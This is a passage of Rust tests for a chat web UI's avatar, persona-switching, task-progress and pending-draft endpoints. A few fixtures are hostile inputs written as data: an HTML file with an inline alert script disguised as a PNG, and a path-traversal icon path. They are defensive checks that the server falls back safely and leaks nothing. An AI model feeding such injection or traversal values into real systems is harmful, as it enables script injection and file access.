14834 let _ = magi_icon_delete(State(ui)).await.unwrap();
14835 }
14836
14837 async fn avatar(
14839 ui: &Arc<Ui>,
14840 id: &str,
14841 persona: Option<&str>,
14842 builtin: bool,
14843 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14844 let res = talk_avatar(
14845 State(Arc::clone(ui)),
14846 Path(id.to_owned()),
14847 Query(AvatarQuery {
14848 persona: persona.map(str::to_owned),
14849 builtin: builtin.then(|| "1".to_owned()),
14850 }),
14851 )
14852 .await
14853 .expect("an avatar is never an error response");
14854 let h = res.headers();
14855 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14856 let nosniff = h
14857 .get(header::X_CONTENT_TYPE_OPTIONS)
14858 .is_some_and(|v| v == "nosniff");
14859 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14860 let status = res.status();
14861 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14862 .await
14863 .expect("body")
14864 .to_vec();
14865 (status, ct, nosniff, csp, body)
14866 }
14867
14868 fn tiny_png() -> Vec<u8> {
14869 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14870 b.extend_from_slice(&[0u8; 32]);
14871 b
14872 }
14873
14874 #[tokio::test]
14875 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14876 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14877 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14878 assert_eq!(res.status(), StatusCode::OK);
14879 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14880 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14881 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14882 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14883 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14884 .await
14885 .unwrap();
14886 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14887 assert_ne!(
14888 persona_icon::operator_svg(),
14889 persona_icon::builtin_svg("default")
14890 );
14891 }
14892
14893 #[tokio::test]
14894 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14895 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14896 for p in [
14897 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14898 ] {
14899 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14900 assert_eq!(status, StatusCode::OK, "{p}");
14901 assert_eq!(ct, "image/svg+xml", "{p}");
14902 assert!(nosniff && csp, "{p}");
14903 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14904 }
14905 let own = avatar(&ui, &id, None, false).await;
14907 let default = avatar(&ui, &id, Some("default"), false).await;
14908 assert_eq!(own.4, default.4);
14909 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14910 assert_eq!(unknown.1, "image/svg+xml");
14911 }
14912
14913 #[tokio::test]
14914 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14915 let dir = TempDir::new().expect("icons");
14916 let good = dir.path().join("good.png");
14917 std::fs::write(&good, tiny_png()).unwrap();
14918 let spoof = dir.path().join("spoof.png");
14919 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14920 let big = dir.path().join("big.png");
14921 let mut bytes = tiny_png();
14922 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14923 std::fs::write(&big, bytes).unwrap();
14924 let missing = dir.path().join("missing.png");
14925 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14926 let extra = format!(
14927 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14928 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14929 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14930 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14931 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14932 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14933 uri(&good),
14934 uri(&spoof),
14935 uri(&big),
14936 uri(&missing),
14937 );
14938 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14939
14940 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14941 assert_eq!(
14942 (status, ct.as_str(), nosniff),
14943 (StatusCode::OK, "image/png", true)
14944 );
14945 assert_eq!(body, tiny_png());
14946 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14947 assert_eq!(ct, "image/png", "data URI");
14948
14949 for p in ["misato", "asuka", "shinji", "magi"] {
14950 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14951 assert_eq!(
14952 (status, ct.as_str(), csp),
14953 (StatusCode::OK, "image/svg+xml", true),
14954 "{p}"
14955 );
14956 assert!(body.starts_with(b"<svg"), "{p}");
14957 }
14958 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14960 assert_eq!(ct, "image/svg+xml");
14961 }
14962
14963 #[tokio::test]
14964 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14965 let oversized = format!(
14966 "data:image/png;base64,{}",
14967 "A".repeat(persona_icon::ICON_MAX_BYTES)
14968 );
14969 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14970 let extra = format!(
14971 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14972 );
14973 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14974 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14975 .await
14976 .expect("detail with invalid icon");
14977 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14978 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14979 assert_eq!(status, StatusCode::OK);
14980 assert_eq!(ct, "image/svg+xml");
14981 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14982 let Json(view) = talk_persona(
14983 State(Arc::clone(&ui)),
14984 Path(id.clone()),
14985 Json(TalkPersona {
14986 persona: "custom".into(),
14987 }),
14988 )
14989 .await
14990 .expect("persona switch with invalid icon");
14991 assert_eq!(view.talk.persona, "custom");
14992 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14993 }
14994 }
14995
14996 #[tokio::test]
14997 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14998 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14999 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15000 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15001 assert_eq!(
15002 (status, ct.as_str(), nosniff, csp),
15003 (StatusCode::OK, "image/svg+xml", true, true)
15004 );
15005 }
15006
15007 #[tokio::test]
15008 async fn the_talk_view_carries_server_built_avatar_urls_only() {
15009 let (_t, _h, ui, id, _repo) =
15010 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15011 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15012 .await
15013 .expect("detail");
15014 let json = serde_json::to_string(&detail).unwrap();
15015 assert!(
15016 !json.contains("secret"),
15017 "the icon setting must not leak: {json}"
15018 );
15019 assert!(
15020 detail
15021 .view
15022 .persona_avatar
15023 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15024 );
15025 assert_eq!(
15026 detail.view.operator_avatar,
15027 format!(
15028 "/avatars/operator.svg?v={}",
15029 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15030 )
15031 );
15032 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15033 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15034 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15035 assert!(rei.avatar.contains("persona=rei&v="));
15036 assert_ne!(
15037 rei.avatar.split("&v=").nth(1),
15038 plain.avatar.split("&v=").nth(1)
15039 );
15040 }
15041
15042 #[tokio::test]
15043 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15044 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15045 let cfg = config_for(&repo).await.unwrap();
15046 for arrived in [false, true] {
15047 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15048 let observed = ui.queued_generation(&id);
15049 let talk = ui.talks.get(&id).unwrap();
15050 if arrived {
15051 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15052 }
15053 let mut settling = std::pin::pin!(settle_settings_turn(
15054 talk,
15055 ui.talks.clone(),
15056 cfg.clone(),
15057 id.clone(),
15058 turn,
15059 observed
15060 ));
15061 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15062 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15063 assert_eq!(first.is_pending(), arrived);
15064 if arrived {
15065 assert!(!settling.await);
15066 }
15067 assert!(!ui.is_thinking(&id));
15068 }
15069 }
15070
15071 #[tokio::test]
15072 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15073 let tmp = TempDir::new().expect("tempdir");
15074 let repo = tmp.path().join("repo");
15075 std::fs::create_dir_all(&repo).expect("repo dir");
15076 std::fs::write(
15077 repo.join("magi.toml"),
15078 format!(
15079 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15080 ),
15081 )
15082 .expect("write magi.toml");
15083 let home = TempDir::new().expect("temp home");
15084 let talks = Talks::at(home.path().join("talks"));
15085 let ui = Arc::new(
15086 Ui::new(
15087 Queue::at(home.path().join("queue")),
15088 Questions::at(home.path().join("questions")),
15089 talks.clone(),
15090 home.path().join("runs"),
15091 home.path().to_path_buf(),
15092 repo.clone(),
15093 )
15094 .with_worktrees_root(home.path().join("wt")),
15095 );
15096 let cfg = config_for(&repo).await.expect("discover config");
15097 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15098 let id = talk.id.clone();
15099 let call = |persona: &str| {
15100 talk_persona(
15101 State(Arc::clone(&ui)),
15102 Path(id.clone()),
15103 Json(TalkPersona {
15104 persona: persona.to_owned(),
15105 }),
15106 )
15107 };
15108
15109 let unknown = call("nobody").await.expect_err("unknown persona");
15110 assert_eq!(
15111 unknown.status,
15112 StatusCode::BAD_REQUEST,
15113 "{}",
15114 unknown.message
15115 );
15116
15117 {
15118 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15121 let busy = call("rei").await.expect_err("busy talk");
15122 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15123 assert!(
15124 busy.message.contains("a talk turn is running"),
15125 "{}",
15126 busy.message
15127 );
15128 drop(guard);
15129 }
15130 assert_eq!(talks.get(&id).expect("reload").persona, "");
15131
15132 let Json(view) = call("gendo").await.expect("switch to a configured persona");
15133 assert_eq!(view.talk.persona, "gendo");
15134 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15135 assert!(!ui.is_thinking(&id), "idle response must release the claim");
15136 for chosen in ["default", "gendo", "rei", "gendo"] {
15138 let Json(view) = call(chosen).await.expect("immediate consecutive change");
15139 assert!(!view.thinking);
15140 assert!(!ui.is_thinking(&id));
15141 }
15142
15143 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15144 .await
15145 .expect("detail");
15146 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15147 assert_eq!(ids.first(), Some(&"default"));
15148 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15149
15150 let Json(view) = call("default").await.expect("back to default");
15151 assert_eq!(view.talk.persona, "");
15152
15153 let mut closed = talks.get(&id).expect("reload");
15154 talk::close(&mut closed, &talks).expect("close");
15155 let refused = call("rei").await.expect_err("closed talk");
15156 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15157 assert!(
15158 refused.message.contains("takes no more turns"),
15159 "{}",
15160 refused.message
15161 );
15162 }
15163
15164 #[tokio::test]
15165 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15166 let f = Fixture::start().await;
15167 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15168 let queue = f.queue();
15169 let mut mine = Task::new(
15170 "rename the loader".to_owned(),
15171 "rename the loader".to_owned(),
15172 PathBuf::from("/repo/magi"),
15173 Source::Agent {
15174 run: talk_id.clone(),
15175 node: "chat".to_owned(),
15176 },
15177 );
15178 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15179 assert_eq!(empty["task_progress"]["state"], "none");
15180 assert_eq!(empty["task_progress"]["total"], 0);
15181 queue.put(&mut mine).expect("file the task");
15182 let mut theirs = Task::new(
15183 "unrelated".to_owned(),
15184 "unrelated".to_owned(),
15185 PathBuf::from("/repo/magi"),
15186 Source::Human,
15187 );
15188 theirs.origin_chat = Some(talk_id.clone());
15190 queue.put(&mut theirs).expect("file the task");
15191
15192 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15193 assert_eq!(res.status, 200, "{}", res.body);
15194 let body = res.json();
15195 assert_eq!(
15196 body["status"], "open",
15197 "filing a task does not close a talk"
15198 );
15199 let tasks = body["tasks"].as_array().expect("tasks array");
15200 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15201 assert_eq!(tasks[0]["id"], mine.id);
15202 for status in [
15203 TaskStatus::Queued,
15204 TaskStatus::Running,
15205 TaskStatus::Held,
15206 TaskStatus::Failed,
15207 TaskStatus::Blocked,
15208 TaskStatus::Parked,
15209 TaskStatus::Done,
15210 TaskStatus::Queued,
15211 ] {
15212 mine.status = status;
15213 queue.put(&mut mine).expect("update status");
15214 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15215 let progress = &detail["task_progress"];
15216 assert_eq!(progress["total"], 1);
15217 assert_eq!(progress["counts"][status.as_str()], 1);
15218 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15219 assert_eq!(detail["status"], "open", "completion never closes the chat");
15220 if status == TaskStatus::Done {
15221 assert_eq!(progress["state"], "complete");
15222 assert_eq!(progress["done"], 1);
15223 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15224 } else {
15225 assert_eq!(progress["state"], "incomplete");
15226 assert_eq!(progress["done"], 0);
15227 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15228 }
15229 }
15230 }
15231
15232 #[test]
15233 fn talk_task_progress_counts_mixed_statuses() {
15234 let mut tasks: Vec<_> = [
15235 TaskStatus::Queued,
15236 TaskStatus::Running,
15237 TaskStatus::Held,
15238 TaskStatus::Failed,
15239 TaskStatus::Blocked,
15240 TaskStatus::Parked,
15241 TaskStatus::Done,
15242 ]
15243 .into_iter()
15244 .map(|status| {
15245 let mut task = Task::new(
15246 "task".into(),
15247 "task".into(),
15248 PathBuf::from("/repo"),
15249 Source::Human,
15250 );
15251 task.status = status;
15252 task
15253 })
15254 .collect();
15255 let progress = talk_task_progress(&tasks);
15256 assert_eq!(progress.state, "incomplete");
15257 assert_eq!(progress.total, 7);
15258 assert_eq!(progress.done, 1);
15259 assert_eq!(progress.unfinished_ids.len(), 6);
15260 assert!(progress.counts.values().all(|count| *count == 1));
15261 assert_eq!(
15262 progress.unfinished_ids,
15263 tasks[..6]
15264 .iter()
15265 .map(|task| task.id.clone())
15266 .collect::<Vec<_>>()
15267 );
15268
15269 for task in &mut tasks {
15270 task.status = TaskStatus::Done;
15271 }
15272 let complete = talk_task_progress(&tasks);
15273 assert_eq!(complete.state, "complete");
15274 assert_eq!(complete.done, 7);
15275 assert!(complete.unfinished_ids.is_empty());
15276 tasks[0].status = TaskStatus::Queued;
15277 let requeued = talk_task_progress(&tasks);
15278 assert_eq!(requeued.state, "incomplete");
15279 assert_eq!(requeued.done, 6);
15280 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15281
15282 let empty = talk_task_progress(&[]);
15283 assert_eq!(empty.state, "none");
15284 assert_eq!(empty.total, 0);
15285 assert_eq!(empty.done, 0);
15286 assert!(empty.unfinished_ids.is_empty());
15287 assert!(empty.counts.values().all(|count| *count == 0));
15288 }
15289
15290 #[tokio::test]
15291 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15292 let (_tmp, _repo, f) = talk_fixture().await;
15293 let id = f.post("/api/talks", None).await.json()["id"]
15294 .as_str()
15295 .expect("id")
15296 .to_owned();
15297
15298 let res = f
15299 .post(
15300 &format!("/api/talks/{id}/say"),
15301 Some(r#"{"text":"what does the queue module do?"}"#),
15302 )
15303 .await;
15304 assert_eq!(res.status, 202, "{}", res.body);
15305 let queued = res.json();
15306 let turns = queued["turns"].as_array().expect("turns array");
15307 assert_eq!(
15308 turns.len(),
15309 1,
15310 "the answer reflects only what is on disk the instant it is sent, \
15311 before the agent's turn - which can run for the whole of \
15312 `[graph] timeout_talk` - has a chance to land: {queued}"
15313 );
15314 assert_eq!(turns[0]["who"], "operator");
15315 assert_eq!(turns[0]["body"], "what does the queue module do?");
15316 assert_eq!(
15317 queued["thinking"], true,
15318 "the accepted response exposes the background turn claim: {queued}"
15319 );
15320
15321 let mut turns_after = 1;
15322 for _ in 0..SETTLE_STEPS {
15323 let detail = f.get(&format!("/api/talks/{id}")).await.json();
15324 turns_after = detail["turns"].as_array().expect("turns array").len();
15325 if turns_after == 2 {
15326 break;
15327 }
15328 tokio::time::sleep(Duration::from_millis(10)).await;
15329 }
15330 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15331 }
15332
15333 #[tokio::test]
15360 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15361 let tmp = TempDir::new().expect("tempdir");
15362 let repo = tmp.path().join("repo");
15363 std::fs::create_dir_all(&repo).expect("repo dir");
15364 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15365 let home = TempDir::new().expect("temp home");
15366 let talks = Talks::at(home.path().join("talks"));
15367 let ui = Arc::new(
15368 Ui::new(
15369 Queue::at(home.path().join("queue")),
15370 Questions::at(home.path().join("questions")),
15371 talks.clone(),
15372 home.path().join("runs"),
15373 home.path().to_path_buf(),
15374 repo.clone(),
15375 )
15376 .with_worktrees_root(home.path().join("wt")),
15377 );
15378 let cfg = config_for(&repo).await.expect("discover config");
15379
15380 for delay in 0..40u32 {
15381 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15382 let id = talk.id.clone();
15383
15384 let handler = tokio::spawn(talk_say(
15385 State(Arc::clone(&ui)),
15386 Path(id.clone()),
15387 Ok(Json(NewTalkTurn {
15388 reply_to: None,
15389 text: "what does the queue module do?".to_owned(),
15390 attachments: Vec::new(),
15391 })),
15392 ));
15393 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15394 handler.abort();
15395 let _ = handler.await;
15398
15399 let mut turns = 0;
15400 for _ in 0..SETTLE_STEPS {
15401 if let Ok(fresh) = talks.get(&id) {
15402 turns = fresh.turns.len();
15403 if turns != 1 {
15404 break;
15405 }
15406 }
15407 tokio::time::sleep(Duration::from_millis(10)).await;
15408 }
15409 assert_ne!(
15410 turns, 1,
15411 "delay {delay}: talk {id} recorded the operator's turn but \
15412 the agent never answered - the reply task was never \
15413 started after the handler future was dropped"
15414 );
15415 }
15416 }
15417
15418 #[tokio::test]
15463 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15464 let tmp = TempDir::new().expect("tempdir");
15465 let repo = tmp.path().join("repo");
15466 std::fs::create_dir_all(&repo).expect("repo dir");
15467 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15468 let home = TempDir::new().expect("temp home");
15469 let talks = Talks::at(home.path().join("talks"));
15470 let ui = Arc::new(
15471 Ui::new(
15472 Queue::at(home.path().join("queue")),
15473 Questions::at(home.path().join("questions")),
15474 talks.clone(),
15475 home.path().join("runs"),
15476 home.path().to_path_buf(),
15477 repo.clone(),
15478 )
15479 .with_worktrees_root(home.path().join("wt")),
15480 );
15481 let cfg = config_for(&repo).await.expect("discover config");
15482
15483 for attempt in 0..3u32 {
15484 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15485 let id = talk.id.clone();
15486 let turn_guard = ui
15489 .begin_talk_turn(&id)
15490 .expect("claim the turn")
15491 .expect("a fresh talk owes nobody a turn");
15492
15493 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15494 let (release_tx, release_rx) = std::sync::mpsc::channel();
15495 ui.set_busy_queue_gate(BusyQueueGate {
15496 reached: reached_tx,
15497 release: release_rx,
15498 });
15499
15500 let handler = tokio::spawn(talk_say(
15501 State(Arc::clone(&ui)),
15502 Path(id.clone()),
15503 Ok(Json(NewTalkTurn {
15504 reply_to: None,
15505 text: "what does the queue module do?".to_owned(),
15506 attachments: Vec::new(),
15507 })),
15508 ));
15509
15510 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15515 .await
15516 .unwrap_or_else(|_| {
15517 panic!(
15518 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15519 )
15520 })
15521 .expect("the busy branch dropped the gate without using it");
15522 assert!(
15523 crate::consult::try_publication_guard(&talks, &id)
15524 .expect("publication fence")
15525 .is_none(),
15526 "a queued worker cannot promote text before its successor reservation is published"
15527 );
15528
15529 let closing = Arc::clone(&ui.admissions).write_owned();
15533 tokio::pin!(closing);
15534 std::future::poll_fn(|cx| {
15535 assert!(closing.as_mut().poll(cx).is_pending());
15536 std::task::Poll::Ready(())
15537 })
15538 .await;
15539 assert!(
15540 ui.begin_admission().is_err(),
15541 "replacement blocks later admissions"
15542 );
15543
15544 let running = talks.get(&id).expect("reload talk");
15551 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15552
15553 handler.abort();
15557 let _ = handler.await;
15558 std::future::poll_fn(|cx| {
15559 assert!(
15560 closing.as_mut().poll(cx).is_pending(),
15561 "HTTP cancellation must not abandon a publishing transaction"
15562 );
15563 std::task::Poll::Ready(())
15564 })
15565 .await;
15566 assert!(
15567 crate::consult::try_publication_guard(&talks, &id)
15568 .expect("publication fence after disconnect")
15569 .is_none()
15570 );
15571
15572 let _ = release_tx.send(());
15578 drop(
15579 tokio::time::timeout(Duration::from_secs(5), closing)
15580 .await
15581 .expect("short admission transaction should release for replacement"),
15582 );
15583 assert!(
15584 crate::consult::try_publication_guard(&talks, &id)
15585 .expect("publication fence after acknowledgement")
15586 .is_some(),
15587 "the publication fence is not retained by the long response"
15588 );
15589
15590 let mut fresh = talks.get(&id).expect("reload talk");
15593 for _ in 0..SETTLE_STEPS {
15594 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15595 break;
15596 }
15597 tokio::time::sleep(Duration::from_millis(10)).await;
15598 fresh = talks.get(&id).expect("reload talk");
15599 }
15600 assert!(
15601 fresh.pending.is_empty() && fresh.turns.len() == 2,
15602 "attempt {attempt}: talk {id} left the operator's text queued \
15603 with no drainer - the reclaimed turn was dropped along with \
15604 the handler future (pending {:?}, {} turns)",
15605 fresh.pending,
15606 fresh.turns.len()
15607 );
15608 }
15609 }
15610
15611 #[tokio::test]
15612 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15613 let (_tmp, _repo, f) = talk_fixture().await;
15614 let id = f.post("/api/talks", None).await.json()["id"]
15615 .as_str()
15616 .expect("id")
15617 .to_owned();
15618 let store = f.talks();
15619 let mut recovered = store.get(&id).expect("opened talk");
15620 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15621 .expect("persist pending draft without a live turn");
15622
15623 let edited = f
15624 .post(
15625 &format!("/api/talks/{id}/pending/edit"),
15626 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15627 )
15628 .await;
15629 assert_eq!(edited.status, 200, "{}", edited.body);
15630 assert!(edited.json()["thinking"].as_bool().unwrap());
15631
15632 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15633 for _ in 0..SETTLE_STEPS {
15634 if detail["turns"].as_array().expect("turns").len() == 2 {
15635 break;
15636 }
15637 tokio::time::sleep(Duration::from_millis(10)).await;
15638 detail = f.get(&format!("/api/talks/{id}")).await.json();
15639 }
15640 let turns = detail["turns"].as_array().expect("turns");
15641 assert_eq!(
15642 turns.len(),
15643 2,
15644 "the recovered draft must run once: {detail}"
15645 );
15646 assert_eq!(turns[0]["body"], "corrected");
15647 assert_eq!(detail["pending"], "");
15648 }
15649
15650 #[tokio::test]
15651 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15652 let tmp = TempDir::new().expect("tempdir");
15653 let repo = tmp.path().join("repo");
15654 std::fs::create_dir_all(&repo).expect("repo dir");
15655 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15656 let f = Fixture::with_repo(repo).await;
15657 let id = f.post("/api/talks", None).await.json()["id"]
15658 .as_str()
15659 .expect("id")
15660 .to_owned();
15661 let store = f.talks();
15662 let mut recovered = store.get(&id).expect("opened talk");
15663 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15664 .expect("persist pending draft without a live turn");
15665
15666 let refused = f
15667 .post(
15668 &format!("/api/talks/{id}/say"),
15669 Some(r#"{"text":"new message"}"#),
15670 )
15671 .await;
15672 assert_eq!(refused.status, 409, "{}", refused.body);
15673 assert!(refused.body.contains("resume"), "{}", refused.body);
15674 let saved = store.get(&id).expect("draft remains after refusal");
15675 assert!(saved.turns.is_empty());
15676 assert_eq!(saved.pending, "saved before restart");
15677
15678 let say_path = format!("/api/talks/{id}/say");
15679 let (first, second) = tokio::join!(
15680 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15681 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15682 );
15683 assert_eq!(first.status, 409, "{}", first.body);
15684 assert_eq!(second.status, 409, "{}", second.body);
15685 let saved = store
15686 .get(&id)
15687 .expect("draft remains after concurrent refusals");
15688 assert!(saved.turns.is_empty());
15689 assert_eq!(saved.pending, "saved before restart");
15690
15691 let resumed = f
15692 .post(&format!("/api/talks/{id}/pending/resume"), None)
15693 .await;
15694 assert_eq!(resumed.status, 202, "{}", resumed.body);
15695 let duplicate = f
15696 .post(&format!("/api/talks/{id}/pending/resume"), None)
15697 .await;
15698 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15699
15700 for _ in 0..SETTLE_STEPS {
15701 if store.get(&id).expect("talk").turns.len() == 2 {
15702 break;
15703 }
15704 tokio::time::sleep(Duration::from_millis(10)).await;
15705 }
15706 let finished = store.get(&id).expect("finished talk");
15707 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15708 assert_eq!(finished.turns[0].body, "saved before restart");
15709 assert!(finished.pending.is_empty());
15710 }
15711
15712 #[tokio::test]
15713 async fn an_image_only_recovered_draft_resumes_without_text() {
15714 let (_tmp, _repo, f) = talk_fixture().await;
15715 let id = f.post("/api/talks", None).await.json()["id"]
15716 .as_str()
15717 .expect("id")
15718 .to_owned();
15719 let uploaded = f
15720 .post_bytes(
15721 &format!("/api/talks/{id}/attachments"),
15722 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15723 PNG_BYTES,
15724 )
15725 .await;
15726 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15727 let attachment = f
15728 .talks()
15729 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15730 .expect("attachment metadata")
15731 .expect("stored attachment");
15732 let store = f.talks();
15733 let mut recovered = store.get(&id).expect("opened talk");
15734 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15735
15736 let resumed = f
15737 .post(&format!("/api/talks/{id}/pending/resume"), None)
15738 .await;
15739 assert_eq!(resumed.status, 202, "{}", resumed.body);
15740 for _ in 0..SETTLE_STEPS {
15741 if store.get(&id).expect("talk").turns.len() == 2 {
15742 break;
15743 }
15744 tokio::time::sleep(Duration::from_millis(10)).await;
15745 }
15746 let finished = store.get(&id).expect("finished talk");
15747 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15748 assert!(finished.turns[0].body.is_empty());
15749 assert_eq!(finished.turns[0].attachments.len(), 1);
15750 assert!(finished.pending_attachments.is_empty());
15751 }
15752
15753 #[tokio::test]
15754 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15755 let (_tmp, _repo, f) = talk_fixture().await;
15756 let id = f.post("/api/talks", None).await.json()["id"]
15757 .as_str()
15758 .expect("id")
15759 .to_owned();
15760 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15761 assert_eq!(closed.status, 200, "{}", closed.body);
15762 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15763 .expect("serialize closed talk");
15764 for (path, body) in [
15765 (format!("/api/talks/{id}/pending/resume"), None),
15766 (
15767 format!("/api/talks/{id}/pending/clear"),
15768 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15769 ),
15770 (
15771 format!("/api/talks/{id}/pending/edit"),
15772 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15773 ),
15774 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15775 ] {
15776 let response = f.post(&path, body).await;
15777 assert_eq!(response.status, 409, "{}", response.body);
15778 }
15779 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15780 .expect("serialize closed talk");
15781 assert_eq!(
15782 after_clear, before_clear,
15783 "clear must not rewrite a closed talk"
15784 );
15785 }
15786
